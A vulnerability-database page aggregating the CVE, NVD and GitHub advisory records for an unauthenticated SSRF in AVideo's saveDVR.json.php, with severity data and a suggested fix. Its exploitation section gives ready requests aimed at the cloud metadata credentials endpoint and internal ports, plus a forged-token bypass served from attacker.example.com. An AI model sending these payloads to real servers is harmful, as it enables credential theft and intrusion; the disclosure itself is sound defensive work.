Vulnerability-Lookup

CVE-2026-33351 (GCVE-0-2026-33351)

Vulnerability from cvelistv5 – Published: 2026-03-23 13:51 – Updated: 2026-03-23 18:44

Title

AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Summary

WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-23 18:15 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/d0c54960389…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: < 26.0	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-33351

Vulnerability from fkie_nvd - Published: 2026-03-23 14:16 - Updated: 2026-06-17 10:37

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
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            }
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    }
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    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 26.0, existe una vulnerabilidad de falsificaci\u00f3n de petici\u00f3n del lado del servidor (SSRF) en \u0027plugin/Live/standAloneFiles/saveDVR.json.php\u0027. Cuando el plugin AVideo Live se despliega en modo aut\u00f3nomo (la configuraci\u00f3n prevista para este archivo), el par\u00e1metro \u0027$_REQUEST[\u0027webSiteRootURL\u0027]\u0027 se utiliza directamente para construir una URL que se obtiene del lado del servidor mediante \u0027file_get_contents()\u0027. No se realiza autenticaci\u00f3n, validaci\u00f3n de origen o inclusi\u00f3n en lista blanca de URL. La versi\u00f3n 26.0 contiene un parche para el problema."
    }
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}

GHSA-5F7V-4F6G-74RJ

Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49

Summary

AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.

Affected Component

File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28

$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF

Root Cause

User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.
No URL allowlisting or scheme restriction: The value is used as-is in a file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.
Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

Exploitation

Part 1: Basic SSRF (Internal Network Access)

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

The server fetches:

http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything

While the appended path may cause a 404 on the metadata service, the attacker can also use this for: - Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages. - Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

The attacker sets up a server at https://attacker.example.com/ with the path: /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php That returns: json {"error": false, "response": {"key": "attacker_controlled_value"}}
The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php

webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```

The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
The key value from the response flows into shell commands:
Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
- Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
- Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
- Line 167: exec("rm -R {$tmpDVRDir}");

The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. - The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.

Impact

SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
Potential Command Execution: While the regex on $key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.
Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.

Suggested Fix

Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:

```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }

// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```

If the parameter must remain for backward compatibility, validate it: php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } }
Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:26Z",
    "nvd_published_at": "2026-03-23T14:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n   //     $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die(\u0027saveDVR: Server not configured\u0027);\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n       $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die(\u0027saveDVR: Invalid URL\u0027);\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
  "id": "GHSA-5f7v-4f6g-74rj",
  "modified": "2026-03-25T18:49:00Z",
  "published": "2026-03-19T19:13:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33351 (GCVE-0-2026-33351)

FKIE_CVE-2026-33351

GHSA-5F7V-4F6G-74RJ

Summary

Affected Component

Root Cause

Exploitation

Part 1: Basic SSRF (Internal Network Access)

Part 2: Verification Bypass + Downstream Command Execution Chain

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Related by attack behaviour